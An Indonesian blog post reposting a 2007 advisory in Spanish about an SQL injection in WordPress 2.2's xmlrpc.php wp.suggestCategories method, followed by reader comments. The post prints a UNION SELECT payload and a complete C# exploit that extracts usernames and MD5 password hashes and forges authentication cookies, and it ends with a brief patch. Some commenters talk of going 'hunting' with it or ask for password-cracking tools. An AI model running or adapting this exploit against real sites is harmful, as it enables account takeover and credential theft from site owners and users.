WordPress Vurnearbility!

Slappter telah menemukan Kelemahan di WordPress 2.2 (terakhir) dan berkemungkinan akan memiliki efek di versi yang sebelumnya, dengan celah ini memungkinkan kita untuk memanipulasi data, membuka dan melihat data, dari webhost yang menggunakan wordpress dengan SQL Injection.

Hal ini terjadi karena Input input yang dilewatkan oleh “wp.suggestCategories” pada xmlrpc.php tidak bekerja dengan benar sebelum di Queri oleh SQL. Sehingga database dapat di exploit untuk di manipulasi SQL queries dengan meng inject arbitrary SQL code.

Bagi yang berhasil meng Exploit WordPress maka akan berkemungkinan untuk mengambil informasi usernames dan password dalam bentuk ter enkrip, untuk melakukan ini membutuhkan knowledge mengenai database table prefix di wordpress.

Detail Hacks:


wp_suggestCategories, en el archivo xmlrpc.php:

function wp_suggestCategories($args) {
global $wpdb;

$this->escape($args);

$blog_id = (int) $args[0];
$username = $args[1];
$password = $args[2];
$category = $args[3];
$max_results = $args[4];

if(!$this->login_pass_ok($username, $password)) {
return($this->error);
}

// Only set a limit if one was provided.
$limit = “”;
if(!empty($max_results)) {
$limit = “LIMIT {$max_results}”;
}

$category_suggestions = $wpdb->get_results(”
SELECT cat_ID category_id,
cat_name category_name
FROM {$wpdb->categories}
WHERE cat_name LIKE ‘{$category}%’
{$limit}
“);

return($category_suggestions);
}


Como se puede observar en la porción de código, no se hace una conversión a entero del valor de $max_results, por lo que es posible enviar valores del tipo 0 UNION ALL SELECT user_login, user_pass FROM wp_users. Para que un atacante logre su objetivo, es necesario que éste tenga una cuenta de usuario válida (una cuenta de tipo suscriber basta y sobra) en el sitio víctima.

Preparé un pequeño exploit (Creditos: Alex) que devuelve la lista de usuarios con sus respectivas contraseñas en MD5, además también incluye las cookies de autenticación para cada usuario.

code c sharp:
*/

using System;
using System.Net;
using System.Text;
using System.Xml;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

class Program
{
static void Main(string[] args)
{
string targetUrl = “http://localhost/wp/”;
string login = “alex”;
string password = “1234″;

string data = @”
wp.suggestCategories

1

{0}

{1}

1

0 UNION ALL SELECT user_login, user_pass FROM {2}users
“; string cookieHash = GetCookieHash(targetUrl);

using (WebClient request = new WebClient())
{
/* Probar con el prefijo por omisión */
string response = request.UploadString(targetUrl + “xmlrpc.php”,
string.Format(data, login, password, “wp_svn_”));

/* Se hace una nueva petición si la consulta anterior falla */
Match match = Regex.Match(response, @”FROM\s+(.*?)categories\s+”);
if (match.Success)
{
response = request.UploadString(targetUrl + “xmlrpc.php “,
string.Format(data, login, password, match.Groups[1].Value));
}

try
{
XmlDocument doc = new XmlDocument();
doc.LoadXml(response);

XmlNodeList nodes = doc.SelectNodes(“//struct/member/value”);

if (nodes != null && doc.SelectSingleNode(“/methodResponse/fault”) == null)
{
string user, pass;
/* Mostrar lista de:
* Usuario md5(contraseña)
* Cookie de Autenticación
*
*/
for (int i = 0; i < nodes.Count / 2 + 1; i += 2)
{
user = nodes.Item(i).InnerText;
pass = nodes.Item(i + 1).InnerText;
Console.WriteLine(“Usuario: {0}\tMD5(Contraseña): {1}”,
user,
pass);
Console.WriteLine(“Cookie: wordpressuser_{0}={1};wordpresspass_{0}={2}\n”,
cookieHash,
user,
MD5(pass));
}
}
else
{
Console.WriteLine(“Error:\n{0}”, response);
}
}
catch (Exception ex)
{
Console.WriteLine(“Error:\n” + ex.ToString());
}
}
}

private static string GetCookieHash(string targetUrl)
{
WebRequest request = WebRequest.Create(targetUrl + “wp-login.php?action=logout”);
request.Method = “HEAD”;
(request as HttpWebRequest).AllowAutoRedirect = false;

WebResponse response = request.GetResponse();
if (response != null)
{
Match match = Regex.Match(response.Headers["Set-Cookie"],
@”wordpress[a-z]+_([a-z\d]{32})”,
RegexOptions.IgnoreCase);

if (match.Success)
return match.Groups[1].Value;
}
return string.Empty;
}
public static string MD5(string password)
{
MD5CryptoServiceProvider x = new MD5CryptoServiceProvider();
byte[] bs = Encoding.UTF8.GetBytes(password);
bs = x.ComputeHash(bs);
StringBuilder s = new StringBuilder();
foreach (byte b in bs)
{
s.Append(b.ToString(“x2″).ToLower());
}
return s.ToString();
}
}
/*
Para corregir este problema, mientras liberan actualizaciones para WordPress 2.2, es editar el archivo xmlrpc.php y cambiar la línea $max_results = $args[4]; de la función wp_suggestCategories por $max_results = (int) $args[4]; o en su defecto bloquear el acceso a xmlrpc.php.

o malo esque tienes que tener una cuenta aunque sea con los minimos permisos para obtener los demas nombres de users con sus respectivos MD5.

static void Main(string[] args)
{
string targetUrl = “http://localhost/wp/”;
string login = “alex”;
string password = “1234″;

hay seria la ruta donde esta colocado el wordpress 2.2, tu nombre de usuario y tu password.
Ya se creo un zip con los archivos vulnerables ya reparados [ xmlrpc.php, wp-admin/post-new.php, wp-admin/page-new.php , wp-admin/users-edit.php. ]

:: [Slappter] ::
*/

# milw0rm.com [2007-06-06]

Info:

Related posts

Tags:

This entry was posted on Friday, June 8th, 2007 at 12:09 pm and is filed under Hacking, WebSite. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

subscribe to comments RSS

There are 16 comments for this post

  1. zam says:

    untung saja WP saya masih jaman katrok! :D

    eh, intinya kalo menggunakan bahasa Tukul apa, mas?

    berarti blog kita bisa dimasuki oleh orang lain, gitu ya? atau malah yg lebih parah, database-nya bisa di-drop gitu?

  2. Dewi says:

    udah coba blon Raf?

  3. qzplx says:

    @ zam
    Ya intinya bisa tau settingan wp, dan tentunya bisa liat database nya ( kalo ada yang penting )

    Biasanya user kan suka males, ngasih pass webhost nya dengan pass databasenya sama, ato account database nya bisa ngakses beberapa database lain ?

    Nah kalok gini ?

    @ dewi
    belom mba, baru ngompile, tar malam mau hunting….

  4. Sheilla says:

    Wowww. WP dah kayak henpon aja ya skrg, lom lama diapgred udah muncul yang baru aja. Udah lama gak apdet dengan WP jd nggak gitu ngerti.

  5. dahri says:

    Wew, serem amat, btw itu maksudnya Vulnerability kali ya.

  6. aribowo says:

    memang gak ada gading yang tak retak

  7. meda says:

    haduh mana aku abis upgrade .. mana ga ngerti pulak bahasa2 beginian .. moga2 cepet2 muncul wp.2.3 deh.

  8. hendito says:

    kasus WP versi 2.0.x berulang lage ….

  9. cluk says:

    tak copy ahh.. makasih ell infonya.. :D

  10. patrush says:

    aku dah coba tuh…
    manjur buat wordpress versi 2.1 ke bawah…
    obatnya cuma satu…
    update ke wordpress 2.2 kayak aku…
    kebel deh…

    nih contohnya kalo udah dijalani…
    http://patrush.web.id/wp-content/uploads/2007/05/cosa.JPG

  11. annmolly says:

    terlalu maksa ngeluarin versi terbaru sech ngga sempet di ujicobakan lbh lama (kayaknya sech).

  12. herry says:

    kalu programnya punya ngak bos yang untuk ngebobol passwor2, kalu ada bisa kasih aku programnya ngak boz???? aku pingin ngecoba nich, tolong kirim ke mail aku yha boz, key trims b4

  13. willmen46 says:

    hmm yang nulis ini kasih info apa sudah dipraktekkan…?? jgn2 hanya copy-paste lagi

  14. Inov says:

    hho,,
    gak ngerti aku mas,
    hehehe….

    itu yang ditulis di C# kode untuk exploitnya ya?

  15. vei says:

    wah ada hacker nih disini.. :P

  16. Merlin29 says:

    I think that stressing how beautiful food can be organically is important, too. ,

Please, feel free to post your own comment

* these are required fields